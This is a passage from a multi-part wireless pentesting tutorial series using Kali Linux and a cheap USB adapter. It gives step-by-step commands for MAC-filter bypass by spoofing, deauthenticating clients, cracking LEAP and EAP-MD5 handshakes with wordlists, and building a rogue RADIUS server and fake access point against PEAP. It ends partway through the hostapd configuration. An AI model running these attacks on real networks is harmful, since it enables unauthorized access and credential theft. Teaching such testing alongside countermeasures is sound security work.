Even though the intention of this article is not to warn about the dangers of relying on hidden SSIDs as a sole means of security, we feel that doing so is worth noting.  Also worth noting is the increased chance of client compromise when hiding SSIDs.  When configured to do so, clients will beacon for hidden access points which leave them susceptible to attackers claiming to be the access point they are seeking.  This this results in an increased risk to clients, we generally discourage hiding SSIDs unless the wireless supplicant has additional intelligence that prevents connecting to rogue APs.

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by uncovering a wireless network’s hidden SSID.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Special Thanks

Dan Dumond

Rudolph Araujo

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - MAC Filtering

$
0
0

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, and a network hiding its SSID to showcase the abilities of this inexpensive and flexible setup.
In this article we will continue to test our setup by attacking a home router that is implementing MAC address filtering--walking you through the attack from start to finish.
Figure 1:  Our setup
Consult our previous article WEP for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • Discovery
  • Attack
    • Explained
    • Find a Client
    • MAC spoof
      • ifconfig
      • macchanger
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


Discovery

In the previous article, we mentioned that the simplest way to ensure that the wireless card is working is to do some light discovery.  After all, the first step in a wireless engagement is to identify targets of interest.
Let’s check out the networks using the iwlist command as we can stay in “Managed” mode.

root@kali:~# iwlist wlan0 scanning | grep -A 30 30:46:9A:16:ED:CE
         Cell 16 - Address: 30:46:9A:16:ED:CE
                   Channel:6
                   Frequency:2.437 GHz (Channel 6)
                   Quality=63/70  Signal level=-47 dBm  
                   Encryption key:on
                   ESSID:"QX3A7"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                             9 Mb/s; 12 Mb/s; 18 Mb/s
                   Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                   Mode:Master
--snip--

Attack

For this scenario, we have discovered an access point of arbitrary protection and we either know or have actively discovered the required information to connect to the access point.  However, even after entering the information correctly, we still cannot associate to the access point.


Figure 2:  No matter how many times we try to associate, the AP will not allow it
At this point we believe that the access point is performing MAC address filtering (aka whitelisting).  We will now look at how easy this is to set up and also examine ways that we can bypass this protection mechanism.

Explained

Access points can use MAC address filtering to prevent unknown hosts from connecting to the network.  Even our inexpensive Netgear router can utilize MAC address filtering--it is enabled through the Wireless Card Access List option as shown below:
Figure 3:  The screenshot above shows the checkbox to enable broadcasting the SSID.  Uncheck the box to hide it.
After clicking on the “Setup Access List” button, we are taken to another screen which allows us to turn the access control on and also add, edit, and delete devices contained within the access list.  In the screenshot below, we only have one client that is allowed to access this access point.
Figure 4:  Only one wireless card is authorized to connect to our test access point.
This may seem like a secure configuration, however the key weakness in MAC address filtering is that MAC addresses can be changed (spoofed) to any value an attacker wishes.  The administrator will know the list of approved clients, however the attacker will generally not know who is allowed to connect.  Since it is possible to discover clients that are already connected to access points, it is possible to select one of those in which to masquerade.  Thus, an attacker must first find an already associated client and then spoof their MAC address to connect to the access point.

Find a Client

This time we will use Kismet to find a wireless client.  We will need far less information than what we had in the previous article:
  • MAC address of a wireless client


root@kali:~# kismet -c wlan0



Figure 5:  Kismet allows us to easily find our wireless client to spoof

Examining the Kismet screenshot, we determined that the client MAC address that we want to spoof is:

24:77:03:8C:D3:44




MAC Spoof

There are a couple of ways in which we can change our MAC address in Linux:
  • ifconfig
  • macchanger

ifconfig

The ifconfig command can be used to change our MAC address using the syntax below:

Syntax:
ifconfig <INT> down
ifconfig <INT> hw ether <XX:XX:XX:XX:XX:XX>
ifconfig <INT> up

Attack:
ifconfig wlan0 down
ifconfig wlan0 hw ether 24:77:03:8C:D3:44
ifconfig wlan0 up



Figure 6:  Changing the wireless card’s MAC address using ifconfig

macchanger

Macchanger is rightfully described in the man pages as “a Linux utility for viewing/manipulating the MAC address for network interfaces”.  It is simplistic in usage by allowing a user to change their hardware address to a random value or one of their choosing.

Help:
root@kali:~# macchanger --help
GNU MAC Changer
Usage: macchanger [options] device

 -h,  --help                   Print this help
 -V,  --version                Print version and exit
 -s,  --show                   Print the MAC address and exit
 -e,  --ending                 Don't change the vendor bytes
 -a,  --another                Set random vendor MAC of the same kind
 -A                            Set random vendor MAC of any kind
 -p,  --permanent              Reset to original, permanent hardware MAC
 -r,  --random                 Set fully random MAC
 -l,  --list[=keyword]         Print known vendors
 -m,  --mac=XX:XX:XX:XX:XX:XX
      --mac XX:XX:XX:XX:XX:XX  Set the MAC XX:XX:XX:XX:XX:XX

Report bugs to alvaro@gnu.org

Syntax:
macchanger -m XX:XX:XX:XX:XX:XX wlan0

Attack:
macchanger -m 24:77:03:8C:D3:44 wlan0



Figure 7:  Changing the wireless card’s MAC address using macchanger

Connect

Since we are using our WEP setup from the previous article (same WEP key) and we have spoofed our whitelisted client, we can finally connect to the access point using the command line steps outlined below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7" key 55:70:9E:69:0D:A0:9B:E1:18:DB:3A:7E:D9

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Check the Association:
root@kali:~# iwconfig wlan0

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0




Figure 8:  Putting it all together:  Spoofing the MAC, connecting to the AP, pinging Google
One interesting thing to note is that our victim and attacker could not be associated at the same time.  The Netgear router may have some additional capabilities that detects a wireless client that is attempting to connect when there is already one connected with the same MAC address.  We also tried changing the IP address of the second wireless client, but no dice.  If this were a thin client setup, we would attempt to connect to a different AP.  Once the victim logged off, we were able to bypass MAC address filtering and access the Internet.  Access Points handle this differently, so your mileage may vary.

Countermeasures

Even though the intention of this article is not to warn about the dangers of relying on MAC address filtering as a sole means of security, we feel that doing so is worth noting.  MAC filtering as a sole defensive mechanism is security through obscurity, however when used as part of a layered defense, it can deter entry level hackers.  The problem with using this as part of a layered defense in a corporate environment is that it does not scale very well because it often requires manual configuration--thus we do not see it often.  However, when it is used, it is on a select few networks which have legacy clients (usually required for hand scanners or some other one-off devices).

For networks that cannot utilize WPA-Enterprise, in addition to MAC filtering, we recommend the following additional defensive measures:
  • Turn off the network if it is no longer needed
  • Air gap the wireless network from the corporate network
  • Use WPA-PSK with a REALLY long and complex password - change frequently if possible
  • Segment the wireless network from the wired network via Firewall and IPS

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by uncovering defeating MAC address filtering.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Special Thanks

Dan Dumond

Rudolph Araujo

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-Enterprise - Part I

$
0
0

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, a network hiding its SSID, and a MAC filtering network to showcase the abilities of this inexpensive and flexible setup.
In this article we will round out our tests by attacking a test WPA-Enterprise network that uses LEAP or EAP-MD5.  Our next article (Part II) will cover WPA-Enterprise PEAP and EAP-TLS.


Figure 1:  Our setup
Consult our previous WEP article for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device


Outline

  • Preparation
  • WPA-Enterprise Refresher
  • Discovery
  • Attack
    • LEAP and EAP-MD5 Explained
    • Setting the Variables
    • Capture the Handshake
    • Deauthenticate the Client
    • Brute-force the Credentials
      • MSCHAPv2
      • EAPMD5
  • Countermeasures
  • Conclusion


Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.


root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.



WPA-Enterprise Refresher

We already looked at breaking WEP and WPA-PSK networks in previous articles and mentioned that the danger in using these wireless standards is that there is a shared static key that should be changed every time someone with knowledge of the key leaves the company.  After all, you wouldn’t want an ex-employee still being able to connect to the network after their departure--would you?  This is a security issue in any company that has regular turn over.  So what is the alternative?  WPA-Enterprise of course!
WPA-Enterprise is ideal for large organizations because it does not use a single shared key in which all users use to connect to the wireless network.  Each user has their own account (usually username and password) that they use to authenticate to the network.  Best of all these accounts can be centrally authenticated and managed--even linked into existing account repositories such as Active Directory or LDAP.  When an employee leaves the company and their account is terminated in Active Directory, it would also be terminated from the wireless if authentication is passed through.
The other unique WPA-Enterprise attribute is its use of Extensible Authentication Protocols (EAPs).  This allows multiple implementations and increased flexibility for corporations.  This flexibility is a double edge sword though as not all EAP types are created equal (in terms of security or ease of deployment).  The EAP types we will discuss in this article are bolded below (feel free to skip non-bolded as they are present to be complete):
  • LEAP - Lightweight EAP
    • Credentials are sent without SSL tunnel protection, using the MS-CHAP authentication protocol.
    • “[P]roprietary wireless LAN authentication method developed by Cisco Systems”
    • “LEAP uses a modified version of MS-CHAP, an authentication protocol in which user credentials are not strongly protected.”
    • “Cisco LEAP, similar to WEP, has had well-known security weaknesses since 2003 involving offline password cracking.”
  • EAP-MD5
  • PEAP - (Protected EAP)
    • “[E]ncapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel”
    • “Jointly developed by Cisco Systems, Microsoft, and RSA Security.”
    • “Requiring only a server-side PKI certificate to create a secure TLS tunnel to protect user authentication, and uses server-side public key certificates to authenticate the server”
    • Most common inner authentication protocols are MSCHAPv2 and GTC (tokens)
  • EAP-TLS - (EAP-Transport Layer Security)
    • “[U]ses PKI to secure communication to a RADIUS authentication server or another type of authentication server.”
    • “Though it is rarely deployed, EAP-TLS is still considered one of the most secure EAP standards available and is universally supported by all manufacturers of wireless LAN hardware and software.”
    • Requires client-side certificate, which prevents many organizations from using it.
  • EAP-FAST - (Flexible Authentication via Secure Tunneling)
    • “[A] protocol proposal by Cisco Systems as a replacement for LEAP.”
    • “Use of server certificates is optional in EAP-FAST.”
    • “EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified.”
    • “When automatic PAC provisioning is enabled, EAP-FAST has a slight vulnerability where an attacker can intercept the PAC and use that to compromise user credentials.”

Discovery (kismet)

In previous articles, we used iwlist, airodump-ng, and Kismet to discover wireless networks.  This is also the case here.  Take a look below at the information that iwlist provides.


root@kali:~# iwlist wlan1 scanning | grep -A 30 CorpNetwork
                   ESSID:"CorpNetwork"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                   Mode:Master
                   Extra:tsf=000000000d674180
                   Extra: Last beacon: 96ms ago
                   IE: Unknown: 000B436F72704E6574776F726B
                   IE: Unknown: 010482840B16
                   IE: Unknown: 030101
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : TKIP
                       Pairwise Ciphers (2) : CCMP TKIP
                       Authentication Suites (1) : 802.1x
--snip--


Even though these three tools can identify WPA-Enterprise networks, none of them can tell you the EAP type.  For this we use Wireshark to inspect the packets.  Let’s capture some traffic with airodump-ng and inspect it with Wireshark, but first we want to place the wireless card into “Monitor” mode.




root@kali:~# airmon-ng start wlan0



We first use airodump-ng without any options in order to discover the network we want to examine and its details.  After we are obtain this information, we focus our collection efforts by locking onto the channel and AP.




Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>


Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on


Attack:
airodump-ng --bssid A0:F3:C1:0C:B6:46 -c 1 -w mysteryEAP mon0




Figure 2:  airodump-ng is detecting wireless networks
From this screenshot, we will note a few items for the attack later:


Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44



Now that our capture is running, we can inspect the packets with Wireshark.  In order to discover the EAP type, we can use Wireshark’s “Statistics -> Protocol Hierarchy” feature.  Look for 802.1X Authentication and apply a filter to those selected packets.  A shortcut would be to type “eapol” in the display filters.
Figure 3:  Wireshark Protocol Hierarchy feature
After applying the filters, we see that the EAP type is Cisco’s Lightweight EAP (LEAP).
Figure 4:  EAP type is LEAP


Attack

Now that discovery is complete and we understand the EAP type, we will examine the attack methodology for LEAP and EAP-MD5.  The outline below can be used for these two similar attack scenarios:
  • LEAP - Lightweight EAP
    • Capture 4-way handshake
    • Crack MSChapv2 with ASLEAP and Dictionary
  • EAP-MD5
    • Capture 4-way handshake
    • Crack EAP-MD5 with eapmd5 and Dictionary


LEAP & EAP-MD5 Explained

Since LEAP and EAP-MD5 do not use a secure tunnel to pass the authentication protocol, we just need to sniff the traffic and crack the password using a brute force attack.  Similar to the WPA-PSK attack, all of the information needed to crack the credentials is contained within the 4-way handshake, thus the attack will be very similar.
  • Set the variables
  • Start the capture
  • Deauthenticate the client
  • Crack the credentials

Setting the Variables

In our example, the victim information is summarized below:


Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44



Since this is a good amount of information that can be easily mistyped (one number off on a MAC address), we use shell variables when attacking wireless networks.  Additionally, it is a bit of a pain to type the same values into multiple different windows.
It is good practice to open 2-3 windows and copy the following into each window to set the variables:


export ESSID= CorpNetwork
export CH=1
export AP= A0:F3:C1:0C:B6:46
export VM=24:77:03:8C:D3:44



Now that we have our windows set up and environment variables set to our victim, let’s begin the attack.  If you want to change your MAC address for extra stealth, now is the time to do so.

Capture the Handshake

We begin by capturing the traffic in an attempt to capture the 4-way handshake.  This is a convenient way to start because it also locks us on to the channel of the AP of interest (in this example, channel 6).


Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>


Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on


Attack:
airodump-ng -c $CH --bssid  $AP -w WPA-LEAPcapture mon0



Deauthenticate the Client

The goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we can capture their 4-way handshake.


Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>


Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from


Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0



When you are watching your attack take place, keep an eye on the top right-hand corner of the capture window.  The following message should appear when you have successfully captured the 4-way handshake:  “WPA handshake:  XX:XX:XX:XX:XX:XX” (where X’s are the MAC address (BSSID) of the AP you are interested in).  Feel free to stop the capture process with Control+c after the handshake is captured.


Brute-force the Credentials

Since the attack on these WPA-Enterprise inner authentication protocols is an off-line brute-force attack, you will first need a sufficiently large wordlist to supply to the cracking program.  The rockyou.com word list is a good start as it is almost 14.5 million passwords.  In order to use the rockyou.com wordlist, you will have to uncompress it as shown below:


root@kali:/usr/share/wordlists# ls
rockyou.txt.gz


root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz


root@kali:/usr/share/wordlists# ls
rockyou.txt


root@kali:/usr/share/wordlists# wc -l rockyou.txt
14344392 rockyou.txt



MSCHAPv2

After uncompressing the wordlist, run asleap as shown below:


Syntax:
root@kali:~# asleap
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
asleap: Must supply an interface with -i, or a stored file with -r
Usage: asleap [options]


-r Read from a libpcap file
-i Interface to capture on
-f Dictionary file with NT hashes
-n Index file for NT hashes
-s Skip the check to make sure authentication was successful
-h Output this help information and exit
-v Print verbose information (more -v for more verbosity)
-V Print program version and exit
-C Challenge value in colon-delimited bytes
-R Response value in colon-delimited bytes
-W ASCII dictionary file (special purpose)


Attack:
root@kali:~# asleap -W /usr/share/wordlists/rockyou.txt -r WPA-LEAPcapture-01.cap



For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:


Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout


Feed JTR permutations into asleap:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -W - -r <PCAP>


Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -W - -r WPA-LEAPcapture-01.cap



EAP-MD5

In this case, LEAP was used--however if EAP-MD5 is used, the attack is very similar using the eapmd5pass tool:


Syntax:
root@kali:~# eapmd5pass
eapmd5pass - Dictionary attack against EAP-MD5


Usage: eapmd5pass [ -i <int> | -r <pcapfile> ] [ -w wordfile ] [options]


 -i <iface>interface name
 -r <pcapfile>read from a named libpcap file
 -w <wordfile>use wordfile for possible passwords.
 -b <bssid>BSSID of target network (default: all)
 -U <username>Username of EAP-MD5 user.
 -C <chal>EAP-MD5 challenge value.
 -R <response>EAP-MD5 response value.
 -E <eapid>EAP-MD5 response EAP ID value.
 -vincrease verbosity level (max 3)
 -Vversion information
 -husage information


The "-r" and "[-U|-C|-R|-E]" options are not meant to be used together.  Use -r when a packet capture is available.  Specify the username, challenge and response when available through other means.


Attack:
root@kali:~# eapmd5pass -w /usr/share/wordlists/rockyou.txt -r WPAcapture-01.cap




For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:


Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout


Feed JTR permutations into eapmd5pass:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r <PCAP>


Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r WPAcapture-01.cap



Countermeasures

Even though the intention of this article is not to warn about the dangers of using WPA-Enterprise LEAP or EAP-MD5 security, we feel that it is important to note that neither should be used for a secure wireless implementation.  That said, we perform many wireless assessments in which we discover that some clients are using these EAP types.  When this is the case, we recommend that clients switch to a more secure EAP type that uses an encrypted tunnel such as PEAP, EAP-TLS, etc. with the caution that they securely configure the wireless clients (more about this in the next article).
Conclusion
In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-Enterprise LEAP and EAP-MD5 test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues


Special Thanks

Dan Dumond

Rudolph Araujo

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-Enterprise - Part II

$
0
0

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, a network hiding its SSID, a MAC filtering network, and our first round of WPA-Enterprise networks (LEAP and EAP-MD5) to showcase the abilities of this inexpensive and flexible setup.
In this article we will complete our tests by attacking a test WPA-Enterprise network that uses Protected EAP (PEAP).


Figure 1:  Our setup
Consult our previous article WEPfor the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • WPA-Enterprise Refresher
  • Discovery
  • Attack
    • PEAP and EAP-TLS Explained
    • Install the Software
      • freeradius-server-2.1.12
      • freeradius-wpe patch
      • hostapd v2.0
    • Start the RADIUS Server
    • Start the Fake AP
    • Deauthenticate the Client
    • Brute-force the Credentials
      • MSCHAPv2
      • EAPMD5
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


WPA-Enterprise Refresher

We already looked at breaking WEP and WPA-PSK networks in previous articles and mentioned that the danger in using these wireless standards is that there is a shared static key that should be changed every time someone with knowledge of the key leaves the company.  After all, you wouldn’t want an ex-employee still being able to connect to the network after their departure--would you?  This is a security issue in any company that has regular turn over.  So what is the alternative?  WPA-Enterprise of course!
WPA-Enterprise is ideal for large organizations because it does not use a single shared key in which all users use to connect to the wireless network.  Each user has their own account (usually username and password) that they use to authenticate to the network.  Best of all these accounts can be centrally authenticated and managed--even linked into existing account repositories such as Active Directory or LDAP.  When an employee leaves the company and their account is terminated in Active Directory, it would also be terminated from the wireless if authentication is passed through.
The other unique WPA-Enterprise attribute is its use of Extensible Authentication Protocols (EAPs).  This allows multiple implementations and increased flexibility for corporations.  This flexibility is a double edge sword though as not all EAP types are created equal (in terms of security or ease of deployment).  We discussed LEAP and EAP-MD5 in the previous article.  The EAP types we will discuss in this article are bolded below (feel free to skip non-bolded as they are present to be complete):
  • LEAP - Lightweight EAP
    • Credentials are sent without SSL tunnel protection, using the MS-CHAP authentication protocol.
    • “[P]roprietary wireless LAN authentication method developed by Cisco Systems”
    • “LEAP uses a modified version of MS-CHAP, an authentication protocol in which user credentials are not strongly protected.”
    • “Cisco LEAP, similar to WEP, has had well-known security weaknesses since 2003 involving offline password cracking.”
  • EAP-MD5
  • PEAP - (Protected EAP)
    • “[E]ncapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel”
    • “Jointly developed by Cisco Systems, Microsoft, and RSA Security.”
    • “Requiring only a server-side PKI certificate to create a secure TLS tunnel to protect user authentication, and uses server-side public key certificates to authenticate the server”
    • Most common inner authentication protocols are MSCHAPv2 and GTC (tokens)
  • EAP-TLS - (EAP-Transport Layer Security)
    • “[U]ses PKI to secure communication to a RADIUS authentication server or another type of authentication server.”
    • “Though it is rarely deployed, EAP-TLS is still considered one of the most secure EAP standards available and is universally supported by all manufacturers of wireless LAN hardware and software.”
    • Requires client-side certificate, which prevents many organizations from using it.
  • EAP-FAST - (Flexible Authentication via Secure Tunneling)
    • “[A] protocol proposal by Cisco Systems as a replacement for LEAP.”
    • “Use of server certificates is optional in EAP-FAST.”
    • “EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified.”
    • “When automatic PAC provisioning is enabled, EAP-FAST has a slight vulnerability where an attacker can intercept the PAC and use that to compromise user credentials.”

Discovery (kismet)

In previous articles, we used iwlist, airodump-ng, and Kismet to discover wireless networks.  This is also the case here.  Take a look below at the information that iwlist provides.

root@kali:~# iwlist wlan1 scanning | grep -A 30 CorpNetwork
                   ESSID:"CorpNetwork"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                   Mode:Master
                   Extra:tsf=000000000d674180
                   Extra: Last beacon: 96ms ago
                   IE: Unknown: 000B436F72704E6574776F726B
                   IE: Unknown: 010482840B16
                   IE: Unknown: 030101
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : TKIP
                       Pairwise Ciphers (2) : CCMP TKIP
                       Authentication Suites (1) : 802.1x
--snip--


Even though these three tools can identify WPA-Enterprise networks, none of them can tell you the EAP type.  For this we use Wireshark to inspect the packets.  Let’s capture some traffic with airodump-ng and inspect it with Wireshark, but first we want to place the wireless card into “Monitor” mode.


root@kali:~# airmon-ng start wlan0


We first use airodump-ng without any options in order to discover the network we want to examine and its details.  After we are obtain this information, we focus our collection efforts by locking onto the channel and AP.


Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

Attack:
airodump-ng --bssid A0:F3:C1:0C:B6:46 -c 1 -w mysteryEAP mon0



Figure 2:  airodump-ng is detecting wireless networks
From this screenshot, we will note a few items for the attack later:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44


Now that our capture is running, we can inspect the packets with Wireshark.  In order to discover the EAP type, we can use Wireshark’s “Statistics -> Protocol Hierarchy” feature.  Look for 802.1X Authentication and apply a filter to those selected packets.  A shortcut would be to type “eapol” in the display filters.
Figure 3:  Wireshark Protocol Hierarchy feature
After applying the filters, we see that the EAP type is Protected EAP (PEAP).
Figure 4:  EAP type is PEAP

Attack

Now that discovery is complete and we understand the EAP type, we will examine the attack methodology for PEAP and EAP-TLS.

PEAP and EAP-TLS Explained

Since PEAP and EAP-TLS use a secure tunnel to pass the inner authentication protocol, we will need to create a fake RADIUS server and fake access point and convince the client to connect to our infrastructure.  This will be accomplished by having a stronger signal than their access point and then deauthenticating the client so they connect to our AP.
The diagrams below help to illustrate the attack process.  In the first image, we see normal operation of a client connected to the access point and the access point passing the authentication on to the RADIUS server.
Figure 5:  Normal operation in which client is connected to legitimate network
In the second image, we see a deauth attack followed by the client connecting to the fake access point and an attempt to authenticate to the attackers RADIUS server.
Figure 6:  After wireless client is deauthenticated, the client will hopefully connect to our fake access point
This should yield the information necessary to begin a brute force attack of the credentials.  Let’s look at the detailed steps that are required in getting this setup in our environment.  Our steps taken with this setup are outlined below:
  • Install the Software
  • Start the RADIUS Server
  • Start the Fake AP
  • Deauthenticate the Client
  • Brute-force the Credentials

Install the Software

This attack requires a decent amount of software that is not installed by default on the Kali Linux attack image.  The software we need is:
  • freeradius-server-2.1.12
  • freeradius-wpe (Wireless Pwnage Edition) patch
  • hostapd v2.0

We have greatly simplified the download and install of the RADIUS attack service by listing the commands needed below.  The freeradius-server-2.1.12 and the patch can be downloaded and applied by copying and pasting the following commands into a terminal as root:

wget ftp://ftp.freeradius.org/pub/radius/old/freeradius-server-2.1.12.tar.bz2
wget https://raw.github.com/brad-anton/freeradius-wpe/master/freeradius-wpe.patch
tar -jxvf freeradius-server-2.1.12.tar.bz2
cd freeradius-server-2.1.12
patch -p1 < ../freeradius-wpe.patch
./configure
make
make install
ldconfig


Explanation of the commands above:  
The first two wget statements download both the freeradius server and the patch for wpe.  The next line decompresses the freeradius-server package.  Then we change directories into the decompressed directory and run the patch.  Then we compile and install the application.
After running the commands above, test the freeradius server to make sure the patch was applied by running it with the (-v) version option.  You should see “FreeRADIUS-WPE” in the banner.

root@kali:~/freeradius-server-2.1.12# radiusd -v
radiusd: FreeRADIUS-WPE Version 2.1.12, for host i686-pc-linux-gnu, built on Jul 29 2013 at 10:34:02
--snip--


The version of hostapd that Kali has in its repositories is 1.X--which has a limitation of only being able to negotiate WPA1.  If we want to be able to attack WPA2 networks, we need to install hostapd v2.0 from source.  We have simplified the installation and troubleshooting of the hostapd service by listing the commands below for your copy and paste pleasure:

wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
tar -zxvf hostapd-2.0.tar.gz
cd hostapd-2.0/
cd hostapd/
cp defconfig .config
apt-get install libnl-dev
apt-get update
apt-get install libssl-dev
make && make install


Explanation of the commands above:  
The first command obtains the latest source code for hostapd.  The next three commands decompress the package and navigate to the proper directory for compilation.  We then create a configuration file for compiling.  The next three commands grab necessary libraries and finally the last command compiles and installs the binaries.
After all the software is installed, we can start the attack.

Start the RADIUS Server

We can attempt to start the RADIUS server and perform the attack, but there is one configuration change that we needed to make in order to successfully capture credentials from a Windows client using AD pass through authentication.
The file we needed to edit is:
/usr/local/etc/raddb/modules/mschap
We had to make sure the line “with_ntdomain_hack” was set to yes and uncommented as shown below:

       # Windows sends us a username in the form of
       # DOMAIN\user, but sends the challenge response
       # based on only the user portion.  This hack
       # corrects for that incorrect behavior.
       #
       with_ntdomain_hack = yes


When that line is commented we received the following error message:  “Could not recover last 2 bytes of hash from the challenge/response.”
Figure 7:  Error message when “with_ntdomain_hack” was not set to yes
Now that we have the configuration file modified, we should be ready to start radiusd.

Syntax:
radiusd -X

Key:
-X = Debugging mode. When trying to understand how the server works, ALWAYS run it with "radiusd -X".


The screenshot below shows the expected behavior of running “radiusd -X”.  The configuration will flash by and then the screen will hang until there is input from the fake access point that we set up in the next step.
Figure 8:  radiusd is ready to process requests

Start the Fake AP

If we want to trick the victim to connect to our setup, we need a fake access point.  This can be a hardware based access point, such as the Netgear home router we have been using in the previous articles, or we can create a software access point.  Because a software access point is more flexible and portable, we will use the hostapd software AP in this article.  The hostapd software requires a configuration file.  Feel free to use our example file below to get you started:

interface=wlan0
driver=nl80211
